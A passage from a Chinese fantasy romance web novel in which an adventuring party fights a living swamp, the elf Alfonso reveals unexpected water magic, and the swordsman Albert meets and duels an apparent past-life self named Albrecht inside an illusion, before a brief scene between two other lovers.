“……走。”艾伯特第一个开口,他拨了下被风吹乱、挡住眼睛的刘海,迈出脚步,走到了精灵身边。 “确定吗?”梅茜的声音从身后传来,有些迟疑,“这里,比我想象的还要危险得多。” 梅茜很少说这种话,她这些年走南闯北,一个人去过的地方不知多少,惊心动魄的经历也不是没有,一般的困难不至于让她担忧。 问题是,她的预感告诉她,这个困难有点太困难了。 本来就想帮学弟个忙,顺便采集一些资料,参加个冒险团玩玩,怎么一次两次都是到这样的地步啊。 “正因为不应久留,所以更不应该犹豫。”年轻团长看着身边金色的身影,没有回头。 风吹起他的鬓发,下颌被绿色的短发纠缠,耳垂上红钉格外夺目。 “如果现在想要回去,还来得及,不用和我说,直接走就好。” 少年的声音顿了顿。 “谁都可以。” 他生得很好,这是众所周知的事。即使在王都人才辈出的青少年一辈,也是第一档次,眉目甚至算得上鲜妍。 本来年龄就不大,艾伯特不是阳刚的类型。因为发型和总是笑着的缘故,加上老好人的性格,总让人觉得有些不成熟的意味在。 即使是作为团长,也没谁真的会把他的话语真的每句都放在心上。 ……阿方索除外。 说来也好笑,反而是认识时间最短的精灵,会认真地听他的每一句话。 但此刻,或许是环境的缘故,配上情绪不明的声音,竟然真的有了几分不可违抗的威严。 “也是,还是走吧。”诺曼往前蹭了几步,“来都来了。” 帕里斯没有说话,但是也跟上了脚步。妮娜紧了紧肩上挎着的药剂箱,意思不言而喻。 梅茜愣了愣,粉色的眸子眨了两下,随后,她心情复杂地嗤了一声。 “真是的,还让你逞英雄了。”善魔没好气地双手抱胸,“当我是害怕我自己出事吗?” “算了,你们都不怕,我怕什么。” 梅茜摇了摇头,快走了几步,又回到了最前面。 “走吧,姑娘和小伙子们。”她回眸一笑,“当一天向导,就得一天走在最前面啊。” 向前走了一段时间后,环境反而变得比一开始好了不少,空气中的灰尘没那么刺鼻,风也小了许多,视野里开始出现绿色。 “总算不是枯草了。”梅茜看着妮娜手中的草药,低头在随手的笔记本上记录下来,“好了,进度加一。” “不过昨日花田就是昨日花田,这种品相的木茸花,在外面估计十年才能遇一回吧。”她用笔帽点了点唇。 “这边的数据,阿方索也带回来了。”艾伯特从一旁走来,递给她专门负责记录的魔法石,“目前深入的程度和环境良好度成正比相关,具体的情况都在里面。” “我还是第一次亲手摘下这种野生的木茸花呢。”妮娜仔细地看了看捧在手心的草药,脸上闪过一丝欣喜。“以前都是直接买的,没想到野生的木茸花看起来这么可爱。” “所以多出去看看可以扩宽眼界不是虚话。我当时为了研究,还独自一魔爬过悬崖。”梅茜接过石头,又收起了笔记本,“主要是穷,请不起人,再加上不放心,没办法。” “不过,各有好坏吧。我不觉得拿钱去规避一些风险是错误的。但有些时候,只有亲自去接触,才能真正做出价值。” “那梅茜觉得,怎么样才算得上有价值的学者呢?”艾伯特听闻,有些好奇地问,身边的精灵也被引起了注意。 “记得我说过那个人类魔导师吗,就是最厉害的那个?”梅茜没有直接回答,而是提出了另一个问题。 “你说温德·西索?”一旁的少女抬起琥珀般的眼眸,“他确实很强,24岁被评为大魔导师的,也只有他一个了。别说年轻一辈,听说就连王室供养的老一辈高手,也有不少败在他手下的。” “不,若只论魔力,他确实是人类中最强的那一批,说是千年难遇的天才也毫不为过。” 梅茜摇了摇手指,话锋一转。 “但大路上有那么多天生对魔法有天赋的种族,纵然天赋异禀,他也未必是世界上的第一。” “我之所以觉得他是我见过最伟大的魔导师,是因为我读过他的毕业论文。” 她勾了勾唇,“你猜,他身为一个魔导师,论文是关于什么的?” “什么?”妮娜好奇地追问。 “是关于无法使用魔法的人类,怎么在不用魔法的情况下,提取元素,将元素和器械结合,达到魔法能做到的效果。” “啊?这……有什么必要吗?随随便便施个咒,不比捣鼓半天铁皮有意思?”诺曼好不容易插上话,他揉了揉自己发干的脸,满目不解。 “再说,就算非要较真,这个领域也应该是器匠和矮人们的研究方面吧,他一个魔导师来掺和什么?” “是啊,所以后来那篇论文被驳回了,没能发表。”梅茜懒懒地伸了伸腰,“不过人家都有自己的高塔了,谁能拦着他毕业。” “我只是觉得他那种想法很可贵。”梅茜闭了闭眼,笑着说,“明明有着不俗的天赋,却愿意关心普通人,能推动社会进步的学术研究者,大概就是这样的吧。” “不过是自以为是的一厢情愿罢了……” 帕里斯忽然开口,话没说完,就被梅茜拿着一颗小石子砸了过来。 他捂住额头,闷哼一声。 “我只是觉得这样比一味追求力量更有意义。”善魔仍然保持着微笑,但眼神危险,“虽然我尊重每个人提出不同想法的权利,但我同样认为,学会什么话该说,什么话不该说,也是进入社会前一种必须修行哦。” “看在你是第一次犯,我就不给你施禁言咒了。”她拍了拍手上不存在的灰尘,“不然,你可以问问旁边那个大叔,会是什么下场。” 诺曼干笑了两声,呲了呲牙。 “其实不说话就算了,毕竟还能写字。” “但是,连嘴都张不开,吃不了饭,喷嚏都打不了,就很可怕了。” 帕里斯抽了抽嘴角,但是没有再说一个字。 一行人又前行了一段时间,花田里的时间流速与外面不尽相同。 进入时外面已经是下午,但行进至现在,太阳仍然一动不动,悬挂在半空中。 “什么时候才能见到水啊……”诺曼随口抱怨。 然而话音刚落,只是一瞬之间,天色就忽然变得阴沉下来,乌云密布。 梅茜剜了一眼,诺曼立刻闭上了嘴。 几人警惕观察,发现前方突然出现一片沼泽,没有一点声音,泛着不祥的气息。 “不是,这东西还带言灵的吗?”诺曼有些崩溃,“那我之前说想要暴富怎么没人给我实现啊!” “闭嘴吧大哥。”艾伯特咬牙切齿。 然而,沼泽却并没有因为他们的止步而留在原地,如同有生命一般快速移动,目标明确。 仿佛只是在一次呼吸之间,周围就已经完全变成了湿地的气候。 原本还算干爽的地面变得泥泞,迅速生长起来密密麻麻的细草,周围空气黏腻得让人恶心。 空气中漫布着潮湿的气味,同样令人窒息。 “不对劲。”帕里斯皱眉。 谁都知道。 还没来得及做出什么动作,脚下就倏忽一空,原本还勉强能站脚的泥地瞬间变成了一片水面。 幸好几人多少都经受过训练,能及时转移到旁边的尚且完好的土地上。 然而沼泽并未就此作罢,反而愈演愈烈。 比起沼泽,或许称它为一滩黑水更为合适,毕竟没有沼泽会主动攻击人。 那不只是简单的泥浆,拥有着水的流动性和更强大的杀伤力,散发着一种诡异的气味,让人有些目眩。 “真是世事难料,刚才还嫌干呢,这会儿好了,直接深层补水了,贵妇级体验啊。”诺曼举起盾,挡住一道水柱,苦中作乐。 “小心漩涡!”梅茜厉声提醒,魔杖将水流冲散。“尽量别沾水,容易产生幻觉!” 妮娜推开药剂箱,避开攻击,见缝插针地将抑水和敏捷的魔药泼洒在队友身上。 听见梅茜的话,她用牙齿拔开木塞,又加上了那些抑制幻觉的药剂。 艾伯特和阿方索背靠着背,箭矢不如以往好用,精灵更多使用的是木元素魔法。 剑锋划过之处,草木也随之生长,让众人不至于时时刻刻提心吊胆。 除了那些在水面上随时会消散的浮地,有了真正能够喘息的落脚之处。 情况还在算计之中。 帕里斯足尖一点,飞身掠过水面,又特意避开少女的药水。 没多久,一股湿冷如毒蛇般绕上他的脚踝。 果不其然。 虽然一开始就能多少猜到这水有致幻的作用,但这么心急,偏偏选中他作为迷惑对象吗? 可笑。 胸口的木花传来温度,盗贼没有立刻出手,反而任由湿气笼罩而来。 视野变得朦胧,在恍惚之间,帕里斯看见了一个女孩,他无比熟悉的那张脸。 记忆里的场景,此刻被幻象重现。 ……竟然,是她吗? 他记得,那天天气很好,而那个女孩子有一双如同大海的眼睛。 她跪坐在花丛边上,脸上沾染了泥土,身旁的侍女看见来人的身影,神色变得恐慌,手足无措。 失势者被暗中欺凌,是无论书里还是现实中都相当常见的把戏,尤其发生地点在皇宫里,他并不惊讶。 男孩的目光落在那被欺辱之人 身上,比那时的他还要年幼许多,身体又格外单薄,但已能看出那女孩未来美丽无比的样貌。 她看见有人来,没有窘迫,甚至也没有急着求助,反而弯起眼睛,对他笑了。 那个时候,整个花园的花都变得不再起眼。 她挣扎着起身,给他行了一个怪模怪样的屈膝礼。动作还没有做完,就踉跄两下,又跌坐在了地上。 于礼不合。 他当时没有动容,甚至没有回以一个礼貌的点头或微笑,只是在走近她的身边时,停下脚步,递过了一方手帕。 “擦擦吧。”男孩语气冷淡,“站起来,这样跪着会弄脏裙摆。” 那就是他们的相识。 不过,就只能做到这种地步吗?看来距离真正的且醉草,还有一段距离。 在无人察觉的地方,盗贼手指微动,轻易便抽出神志,重回清明。 ……不过,虽然很不想承认,但是她总是比他认为的更能触动他那根感性的神经。 帕里斯侧身,躲过一道水浪的袭击,握紧手中的匕首,将其一刀斩断,幻象也随之消散。 “注灵的药剂。”妮娜咬牙,指尖泛出荧光。 作为药剂师,她的魔力远没有其他人那样深厚,强行催动对身体有损害,但此刻也顾不了那么多了。 诺曼窜到艾伯特身后,替他挡住背后的袭击。 妮娜看准时机,药剂瓶砸在诺曼的盾上,干涸了侵蚀的波浪。 好,总算是暂且安全了。 妮娜还没来得及松口气,一袭阴影就压在她的颈后,她听见了水声。 魔力已经耗尽,刚才是最后一瓶……已经来不及躲开了。 而当妮娜下意识闭上眼,准备被淹没时,潮湿却并没有如想象般浸透口鼻。 少女小心地睁开眼,却被面前的一幕滞住了眼神。 她的心不由自主地颤动。 灰色的斗篷无风自动,扬起猎猎声响,金色的发丝四散飘扬。 身后的木弓不见踪影,只有藤条缠上那细白的手腕,又化作银色的光影藏入血管之中。 他站在那里,右手只是轻轻抬起,清澈的水滴便凝聚成形,化为水幕包裹住他们。 「净水。」 在湿气的包围中,只有那道声音温暖而明晰。 那是一个单一的单词,没人听懂。阿方索说的不是大陆语,但大家都知道他说的是哪种语言。 护住众人的同时,流水又如箭矢般流入面前的潮水,迅捷而有力。 精灵纤长的手指微微一握,面前的浊水便霎时破散。 梅茜还未从刚刚的危险中缓过神,便又被眼前的一幕惊呆了。 ……这样威力巨大的水系魔法,即便是她所见过的最强大的魔法师,也从未有那样纯净的力量。 简直如同……神迹一般。 在这个世界,神明比魔法更加遥远,人们拥有类似神明的力量,却不见神明实体。 所谓神话传说,在大部分人眼里不过童言稚语,从来没有任何一个教派,能够拥有统治性的地位。 善魔也不知道这样的比喻是否正确,毕竟,她不信宗教。 但除此之外,她也没有其他词汇可形容了。 但……不,不对,怎么可能是水系的魔法?阿方索不是木精灵吗?! 理智不合时宜地反应过来,一个念头猛冲进脑海。 梅茜觉得荒唐无比,瞳孔骤缩,尾巴迅速地卷起,而其他人也不见得好到哪去。 诺曼的盾牌砸到了地上,就连一直沉默寡言的帕里斯,这个时候也只能愣愣地站在那里。 艾伯特握着长剑的手露出青筋,他喘着粗气,看不清表情。 虽然一直觉得染发的说法荒谬无比,但阿方索一路上使用的魔法皆是木系,背上的木弓更是确凿的证明。 她确实猜想过许多假设……但绝没有想过这种……怎么可能…… 但危急关头,不是质问的时刻,现在第一要务是想怎么办脱困。 那就在这几秒的思考中,另一道更加神秘的力量出现了。 那是一道白色的流光,在黑沉的水中格外显眼。 它绕上精灵所控制的水流,借此靠近了阿方索,扑面而来。 精灵还来不及反应,就被它拽出了水幕。 尽管保护性的水幕还维持着,但是原本用于突破浊水的水流失去了控制,那道流光借着他自己的力量,包裹上了精灵的身体。 局势突变,来不及多想,绿发的剑士反应极快,银光一闪,他斩破了水幕。 “等等……” 诺曼下意识抓住他的手臂,被少年猛地挣开。 在最后一秒前,艾伯特迅速抓住了精灵的手腕,死死握紧。 波涛翻涌,两人一同被卷入水涡之中。 “艾伯特!!” 不同的声线异口同声,但已来不及挽回。 两道年轻的身影共同被潮水吞没,消失得无影无踪。 33. 昨日 艾伯特伸手抓住精灵手腕的那一刻,其实并不冲动。 在很早之前,他就已经深思熟虑过了。 理性上,艾伯特当然明白,自己的行为无疑是鲁莽的。 无论是抛下其他的同伴,还是把自己投入不知名的危机,都简直就是蠢货才会做的事嘛。 但是他本来就不太聪明,不是吗? 不然,也不至于和家里闹掰。 而且,其实只要是关于阿方索的事,道理就会变得都很简单。 深思熟虑后发现,果然还是他最重要啊。 一旦天平的一边放上的是这个人,哪怕另一端是整个世界,艾伯特也会毫不犹豫地做出选择。 他说的每一句话,其实都是认真的。 周围的一切都如同风声掠过耳边,迅速滑落,只有握住手腕的人一直站在眼前。 出乎意料,流光之内并不令人难受,甚至比一般的传送魔法都要温和许多。艾伯特没有感觉到被束缚,但是他仍然没有松开手。 精灵似乎没有想到竟然会有人及时抓住自己,他没有挣开,转过了头,看见了绿发的少年,嘴唇动了动,似乎想说些什么。 然而,就在两人视线对上的一刹那,那抹流光散去,艾伯特的手中倏然一空。 他尝试再次握住,却只是徒劳,自己也陷入了混乱。 再睁眼,却发现自己被扯进了一片陌生的空间。 周围生长着各色各样的植物,环境中有着甜腻过头的花香,丝丝缕缕缠绕着他。 望着上空巨大的玻璃穹顶,艾伯特敢确信,这不可能是现实中的任何一个真实地点。 即便是学院和王室,也从来没有如此大规模的温室,这样的财力物力,也不是他所知的任何一个私人能承担得起的。 艾伯特几乎立刻反应过来是怎么回事。 且醉草,最有名的那个传说。 阿方索也陷入了幻境吗?一个念头直冲脑海。 艾伯特四处张望,仍然不见那个挂在心头的身影。 少年不由得心急如焚,但目前也只能强压下心里的焦虑,勉强维持住思考。 再次静下心来观察周围,他立刻注意到不远处,有两个身影依偎在一起。 是枕膝的姿势,而且动作十分亲密。 被枕着腿的那个人把一只手搭在另一人的胸前,任由对方双手把它捧在掌心,如同孩童一般的玩弄揉捏。 尽管有一部分距离,艾伯特怎么可能认不出那个坐着的身影,而看着隐约的绿色,另一人的身份更是呼之欲出。 确实是意料之中的人,却完全是意料之外的剧情。 和阿方索在一起的每一天都幸福得像梦一样,无论是抽出来哪段记忆,艾伯特都不会奇怪。 在进入花田之前,他也猜想过,如果真的按照且醉草拟出幻境的原理,可用的记忆实在是太多了。 可能是他们第一次见面,或许是被藤蔓袭击时的拥抱,也可能是酒醉后的那个夜晚。 相遇后的每一天,都是他人生中最幸福的时光。 但怎么也不可能会是这个样子。 且不说根本就没有发生过。 他怎么敢。 虽然只是站在一边,但艾伯特仿佛能与枕膝的那个人感同身受。 比那近乎糜烂的花香更加清晰的,是身旁人那抹淡而清新的草木气息。 他尝试移动,但没有成功。明明心知是幻境,却动弹不得,身体仿佛不属于自己。 艾伯特既是亲历者,也是旁观者。 明明不可能是他的记忆,一切感受却如此真实,但他只能站在一边,看着他们互动。 那张脸早已深刻入心底。与平时不同,他此刻身上没有任何装饰,只是简单穿了一袭白袍,布料柔软,看起来相当昂贵。 腰间用轻纱束起,月光般的金发尽数散开,让人想要握在手中。 精灵的金发垂落,扫在脸上,有些痒意。那双碧色的眼眸看向远方,在夜色中有朦胧之感。 似乎不满情人的淡然,另一个人把原本握在掌心的手指放到唇边,张口咬下,却又不敢用力,含在嘴中轻吮,慢悠悠地磨着。 察觉到膝上人撒娇一般举动,精灵眼神微微回落,弯了弯手指,却没有抽回,反而嘴角轻轻扬起,纵容着他的胡闹。 没有露骨的举动,也没有刻意的暗示或者放荡的撩拨,但两人之间的暧昧浓重得甚至令骨髓发麻,仿佛随时都可能过火。 尽管知道这一切都是虚幻,但艾伯特很嫉妒那个能和精灵调情的自己。 可自从陷入幻境,腰上的长剑就已经不知去向,他也只能努力为自主意志做斗争。 眼看两个人快亲上了。好不容易,艾伯特终于觉得身上的枷锁松开半分,周围的场景忽然天翻地覆。 植物尽数消失,景色变得模糊不清,只有花香残存,氤氲着,漂浮在两人之间。 正如同他曾经暗自所期望的那样,此时此刻,天地间只有他们二人。 精灵站在他的面前,目光是那样的熟悉,如同湖面静波。 长发散落到脚踝处,抬眼时纤长的睫毛如同蝶翼一般,但比平时更显脆弱。 嘴唇一张一合,听不见声音,但他知道他在叫自己的名字。 精灵没等他回应,就走上前,手指纤长而白皙,似乎要触碰对面少年的脸颊。 神情柔软得不可思议,双眼如同一汪春水。水光深处,是难以言喻但真实存在的…… 爱情。 艾伯特几乎要忍不住叹气了。 多么美好啊,就如同他曾经梦想的一切一样。 但是,不是这样的哦。 他们,还没到这个阶段呢。 虽然可能还需要很久很久,或许永远也明白不了,但是没关系。 他确实想要很多很多关于阿方索的东西。 但归根结底,艾伯特最终根本想要的,是来自那个人的那份爱。 并不需要任何其他事物来替代。 在指腹即将碰上的前一秒,少年的目光兀然清醒过来。 他猛地躲开。意志回笼的一瞬,对方的脸变得模糊不清,动作止住,过于腻人的香味也随之淡去。 剑鞘的触感重新回归,他立即拔出银剑,拼尽全力,将面前的伪物斩破。 如同被揭穿情节的剧目,一切的一切,也随之开始剥落。 艾伯特扶着剑身,站在原地,握着长剑的手指忍不住发抖。 他观察了一下四周,发现自己正身处是一片由白三叶草所铺就的谷地。 小小的草叶郁郁葱葱,其间有白花绽放,天真而纯洁。 身体终于恢复自由,环境也好不容易变得正常一些。 但艾伯特没有欣喜若狂,他强行冷静下心神,手指向衣内探去。 果不其然,原本的木花此刻已化为了灰烬。 原因昭然若揭。 此地,便是昨日花田的最深处。 如果且醉草真的存在,那么离它一定不远。 就连此时此刻的真实,谁能保证不是一场醉梦呢? 尽管精神上刚刚受到了不小的冲击,艾伯特仍然保持着警惕。 不远处,一道身影缓缓走来,不似冒险团中的任何人,更不可能是他现在想见到的那个人。 看清对方面容,艾伯特的眼神变得更冷。 荒谬,不可置信。他张了张嘴,表情变了又变,最后气极生笑。 “呵。” 来人看起来比他大一些,三十出头的样子,身着贵族剑士的服装。有着一张与他极为相似的面孔,却在某些方面截然不同。 除了长开一些,正脸大致相同。但脑后,来人浓绿的长发高高束起,左眼是相同的紫红,右眼却是血红的颜色,有种诡艳的瑰丽。 旁边的脸颊边缘,一条棕色伤疤斜向颈后,却因为被脸颊边长长的发丝遮挡,看不见全貌。 艾伯特没打算跟他多说。在经过那种事情之后出现,还有着和他同样的脸,能是什么好东西? 正数第二离谱的传说,进入昨日花田的人,能看到自己的前世。 没想到还真让自己碰上了。 但这个前世,无论是幻象还是别的什么,艾伯特都没有探究的兴趣。 直觉告诉他,对面来者不善。 何况,现在他心里满是另一个消失的人,没有多言,艾伯特直接挥剑斩去。 银光闪过。对于突如其来的攻击,对方脸上没有丝毫惊讶,轻易便躲开。 “好弱啊,这样就出来冒险吗?”对方歪了歪头,随手抽出腰间的长剑,用剑柄打飞了下一道银光。 “只会这些花把式吗?我记得我当年在这个年纪也不至于这样啊,虽然知道时代变了,但没想到是往后退。” 对方的剑法干净利落得残忍,不做多余的任何动作,每一招都直击要害,目标直取性命。 看见对方手中与自己相同的银剑,艾伯特面色更加不善。 即使是拿着同样的剑,对方的剑招也比他娴熟许多,经验丰富,而且招招狠厉, 艾伯特的剑术在同辈中也是数一数二的存在,但经验所限,尽管不至于一塌糊涂,但也节节败退,难掩狼狈。 “真让人失望,”那人游刃有余地应对,“要是这种程度就死掉的话,你也没活着的必要。” “反正怎么样都是累赘,如果他 不喜欢你的话,你哪里有资格站在他的身边呢。” 看着和自己长得一模一样的人嘴里吐出刻薄的语言,也是相当新奇的体验了。 虽然说的一半是实话,一半听不懂。 但,真想弄死他啊。 “就这么喜欢当谜语人吗?”艾伯特擦去嘴角的血迹,直攻对面面门,割向他的喉咙。 “实话实说而已,你看你又急。”对方耸耸肩,躲开剑光,“别那么随便给人下定义,这个词的从属另有其人的。” 艾伯特被连连击退三步,被迫单膝跪在地上。 “你是谁?”少年强撑着身体,咬紧牙关。 “只是一个行于荒野的人罢了。”那人侧过身,揉揉眼睛,高高在上地投下视线,语气漫不经心。 “野人呗。”艾伯特扯了扯嘴角,握紧手中的长剑,再次直起身,“流浪汉就流浪汉,说这么高大上。” “随你怎么想,反正说的再多,也伤害不到我。”男人转过身来,正式看他,眼睛微眯,“实话告诉你,我杀不了你,不然不会和你废话这么多。” “不过,你能见到我,说明你的人生已经失败到了一个地步。” 无视对面少年森然的眼神,那人仍自顾自说着。 “虽然能靠自己突破幻境,还算是合格,但我还是想说,你躺得明白吗?” “谁躺了……”艾伯特下意识反驳,却忽然想到什么,话语戛然而止。 他紧盯着对面的人,声音低哑地质问: “……所以,那是你的记忆。” 那人双手抱胸,没承认也没反驳。 “……你,到底是谁?” 对面沉默了一会,然后,他抽出一只手摊了摊。 “如果非要一个称呼,你可以叫我阿尔伯特。” 艾伯特听见他的话,沉默了两秒,开口。 “那是我的名字。” “你眼睛瞎啊,”阿尔伯特嗤笑了一声,“都看到这张脸了,还没有些觉悟吗?我不杀你是不想吗?” “爱叫不叫。” 纵然从小的教育给了艾伯特刻在骨子里的教养,但此时此刻,他还是忍不住在心里骂了句脏话。 但是现在有更重要的事情。 “那刚才的幻境,那个人……你和他……” “就是你想的呀,一对。”年长的剑士冷笑一声,“读取我的记忆,让你爽到了。怎么,知道你以前和你喜欢的人在一起过,高兴疯了吧?” 关他什么事,是他要被拉入幻境的吗? 虽,虽然确实有一点……高兴,但是还是不可思议。 “那,阿方索现在……” “他没事。”一提到精灵,阿尔伯特的语气和缓了许多,“他的力量……反正,就算你们都死了,他也能活得好好的。” “要不是你拉来这些人拖后腿,靠他早完事了。” “当然,没有说你没有拖后腿的意思。” 对于眼前人所说出的夹枪带棒的话语,艾伯特仍然不敢全信。 但阿尔伯特说阿方索安全的时候,语气是如此自然,他也稍稍安下了心。 目前疑点太多,脑中的问题更是千千万万,但是身体还是诚实的,遵循了最渴望的那一个念头。 他张了张口,还是问了出来。 “你们俩,是怎么在一起的?” “跟你这种没用的小男生不一样。”阿尔伯特摇了摇头,面色好转了不少,“我追他的时候,可是很有一招的,看在一体的份上,给你举个例子吧。” 他清了清嗓子。 “如果对方喜欢你的眼睛,那么,就把你的眼睛挖下来送给他就好了。” 换任何一个人来,都会觉得这句话是歪理邪说,按正常来说,艾伯特也理应如此。 但一到那个心心念念的人,如果阿方索开口的话…… 好像确实有几分道理。 不过…… “等等,那你的眼睛……?” 艾伯特刚开口就后悔了,这个追问看起来有点问得太符合对方心意了。 但现在收回,为时已晚。 一提到这个话题,对方的脸颊迅速泛上一抹红晕,露出了那种只有只有陷入热恋的年轻人才会拥有的羞涩笑容,带着些明知故犯的骄傲。 布满剑茧的手抚上红晶般的眼眸,似乎陷入了某种甜蜜无比的回忆。 过了很久,年长的剑士才又看向一旁的少年。 他嘴角的笑意没有淡去,对上眼神,艾伯特莫名看出了几分挑衅。 那人语气难得恢复正常,非常认真,一字一句满怀爱意,炫耀一般地说道。 “是,爱的留念哦。” 34. 谈论 “越迷人的东西越是危险呢。”阿尔伯特双手捧心,满脸幸福。 “不迷人的东西你也不喜欢啊。”艾伯特丝毫不为所动,面色冷如冰霜。 “还有,对方知道是爱的留念吗?大叔。” “那就不关你的事了。”阿尔伯特放下双手,眼神漠然,“你知道你说话这么扫兴很容易挨打吗?” 他忽然问道:“对了,你还是处男吧?” “……你问这个干嘛?”艾伯特没想到会忽然被问到这个,脸色有点红。 “就说是不是吧?” “……是。”不知道对方有何目的,艾伯特从牙齿中挤出一个单词,“但,那又怎样?” “那就没必要和你解释那么多了。”阿尔伯特双手叉腰,“一想到你连人家嘴都没亲过,话还那么多,顿时就释然了。” 艾伯特:“。” 好想也这么无理取闹且自信地活一回啊。 但是竟然、竟然亲过吗?虽然也大概能猜到,但是,好羡慕…… “对了,你组冒险团干什么?”阿尔伯特问,“二人世界不好吗,干嘛拉其他人进来。” “我毕业之后,家里想让我结婚,我们吵了一架,冒险团……是妥协之后的结果。”艾伯特解释道,“大家……都挺好的。” “妮娜最开始以为是因为我看不上她,其实一开始拒绝的时候,我不知道是她……”少年摇摇头。 “但与她无关,无论是谁,我都不会答应的。”他斩钉截铁地说道。 “还是催婚的对象不对。”阿尔伯特不完全认同,“要是他们逼你和阿方索结婚,你会不从吗?” “…………” “你看。” “不说这个。”艾伯特耳根通红,拒绝继续这个话题。 “……至于两个人的那个,阿方索是最后才来的。那时候,大家已经集齐了,阿方索也是我们一起招进来的。” “催婚到底给帝国人带来了什么?”阿尔伯特感叹,扯了扯嘴角,“真是不长记性。” “帝国?”艾伯特敏锐地捕捉到了不同的词汇。 “哦,你们现在不是帝国了吧,不过大差不差。”阿尔伯特倒没有被抓住破绽的窘迫,他耸了耸肩,“王位之上坐着一个,下面一对大臣公主王子乱七八糟的东西。” “你这种话,要是在王都里说,会被纠察队抓起来的。” “那有什么,现在在王都吗?”高马尾的男人左右看了看,丝毫没有悔改的意思,“当时还有人叫我公主殿下来呢。” “……公主殿下?怎么叫你这个?”什么奇怪的称呼,这不是男的吗? “因为我长得好看啊,再说,除了那两个,我算地位最高的,而且,我想干什么就干什么。” “不过我平时比较懒得关心那些东西,所以没管。”阿尔伯特撩了下马尾,掰了掰手指,“他们以为我不知道,但瞒的手段也太差了。” “你家里,就一点不管你这样吗?”艾伯特无力吐槽,忍不住追问。 “我和家里人吗?”阿尔伯特想了想,“我很早之前就和他们说不到一块儿去,所以就离家出走了。” 理智告诉艾伯特,真正的事情肯定不会像面前这个人说的那么简单,但对方明显没有解释的意思。 “开始他们让我改姓来着,我那时候没时间,后来有地方要用到姓,我也懒得改,后来让他们改了。” “?” “什、么、意、思?”艾伯特不敢相信自己的耳朵。 “有什么可惊讶的吗?”对面似乎比他更加不解。 “不想和我用一个姓的话,自己改掉就好了。” 阿尔伯特想了想,又补充了一句: “还有些人不想改,问我行不行,我也无所谓,只要不麻烦我就行。” “那你……还挺厉害的。” 是怎么做到的,想要教程。 “主要是上司后来发达了,有些事情迎刃而解。其实我也不知道我算不算厉害的人,”阿尔伯特说,“但是我挺会害人的。” 原因这不就找到了吗。 “你,没有朋友吗?” “朋友?”阿尔伯特歪歪头,“没有。同事倒有几个,上司有一对。” “那,他们都是怎样的人?” “不清楚,不是很熟。”阿尔伯特回答得十分果断流利,“反正我同事都是上班。上司更是上班中的上班。” “……” “不过上司虽然烦人,但给的钱不少。”他露出笑容,“好处就是,可以买很多有意思的东西,给喜欢的人。” “报酬准时准量这一点,还可以。” “不过,你队友看起来也还挺有脑子的。”阿尔伯特客观评析,“他们溯源了流光的魔力,已经往这边来了。” “不过估计还有一段时间吧。”他抬眼望了望天,“里面那黑毛挺厉害的,但不愿意出力,也没办法。” “帕里斯……?”艾伯特皱眉,“你能看到外面?” “给自己起这样的名字吗?看来他喜欢的女生挺漂亮的。”阿尔伯特挑了挑眉,“……至于另一个问题,难道很难吗?” 看着对方言语轻佻的样子,艾伯特觉得自己的忍耐力已经到了极限。 “你就有没有什么在意的人吗?天天这么说话。” “有啊。”阿尔伯特笑颜如花,“最喜欢阿尔方索了。” 完了,又戳到这个人花痴点了。 “他是我唯一重要的人……完全是人如其名的英雄啊。”他的脸泛上潮红,十指交握捧在脸颊旁边,痴笑着说:“高贵美丽强大……怎么会有这么美好的存在……” 艾伯特默默退后了一步,大为震撼。 啊,原来自己提到阿方索的时候,在别人眼里竟然是这个样子吗? 那怪不得诺曼他们会用那种眼神看自己了,确实显得智商不太正常。 不知过了多久,艾伯特耐心告罄,直接开口打乱了对方的沉浸式单人告白。 “你明明……知道都是怎么回事吧。” “当然,我又不是傻子。”阿尔伯特放下双手,用看傻子的眼神看着年轻版的自己,“我知道别人怎么看我,但是又能怎样呢?” “我和你说过,我在意的只有一个人。” “真以为我陪你在这闲聊,是为了当知心哥哥吗?”他脸上的笑容渐渐收敛,取而代之的是真实的寒意。 “我和你,一切的交谈,都只能在这里进行。” “离开这里之后,关于那些的一切,都不可言说。” “给你的线索够多了,你也别跟我装傻。把我说的话都好好记在脑子里。” “他就是你存在的意义,明白吗?” “他对我来说有怎样的意义,用不着你来提醒。”艾伯特体力恢复,他再次握紧剑柄,直指对方心脏。 “你说,你杀不了我,但没说我杀不了你吧?” “这正是我要教你的。” “你必须得学会。”年长的剑士逆着光站在他的面前,异瞳没有光彩,“战胜我。这只是最基 础的条件,如果连这点决心都没有,你也不配和他走到最后。” “这里的时间没有意义,你可以慢慢琢磨我是怎么挥出每一剑的,怎样刺穿胸膛,割断喉咙。然后,学会它们。” “不然的话,与其把你放出去给他当累赘,不如就在这里耗死好了。” “……我没有意见,但,我有一个最后的问题。”艾伯特看向他,“你后面说的不可言说,是什么意思?” “……呵。” “字面意思。”阿尔伯特简短地说。 “不存在的东西,怎么可能被描述呢?” “世界是不会允许的。” “那被抹去的……” 「第一世代」 指尖划过字迹,雪白蓬松的尾巴轻摆。 身下是柔软的丝绸,狐人倚在床头,全身上下只穿了一件浴袍,脚踝露在外面,闲适地搭在一起。 听见浴室门开的声音,灰色头发的狐人笑眯眯地抬起头,向那边看去。 他合上手中的书本,动作无比自然。 “又在看你那本书?”眉目张扬的人擦着头发,眼神中带着不满。 “从我三岁的时候你就捧在手上,看到现在,多少年了,那本书里有什么,让你这么喜欢?” 737没有回答,他把书放在床头柜上,坐到床边,抬起手,拍了拍自己的大腿,示意对方过来。 路明在他脚下的地毯上坐下,像是等待顺毛的犬只,狐狸接过毛巾,轻轻擦拭着他的头发。 “里面都是些少儿不宜的东西哦。”上方的声音柔柔地说,还带着三分笑意,“不可以给小孩子看的。” “清生其,我都快三十了,不是三岁。”男人闭着眼睛说,“不是谁都像你一样,样子变都不变。” “我知道。”清生其笑了笑,任由对方向后靠在他腿的内侧,“你保养得好嘛,我看你和你十八岁的时候有没有什么区别。” 那当然,为了保持这一点来讨这个人欢心,他花了多少努力,又花了多少钱。 路明懒洋洋地抬起头,上方的爱人眉眼低垂,看起来相当温柔和顺。 可惜,也只是看起来而已。 他盯着那张熟悉的唇,看着它翕动的样子,眼睛一眨不眨。 “所以,这就是你撺掇我去王都宴会的原因?”路明忽然开口,“你知道,我不会和除你之外的人结婚的。” 他的手伸进浴袍下方,慢慢向上探去。 “而且,那个公主又不是傻子,真要把她当成花瓶,小心到时候惹火烧身。” 面对年轻情人的警告,狐人仍然面不改色。 “唔,没让你和她结婚啊。” “只是,想加深一下对你的教育罢了。”他摸上路明的下巴,语气悠然,“你知道,我喜欢看你上学的样子。” “你想做的事情,什么时候问过我的意见?” 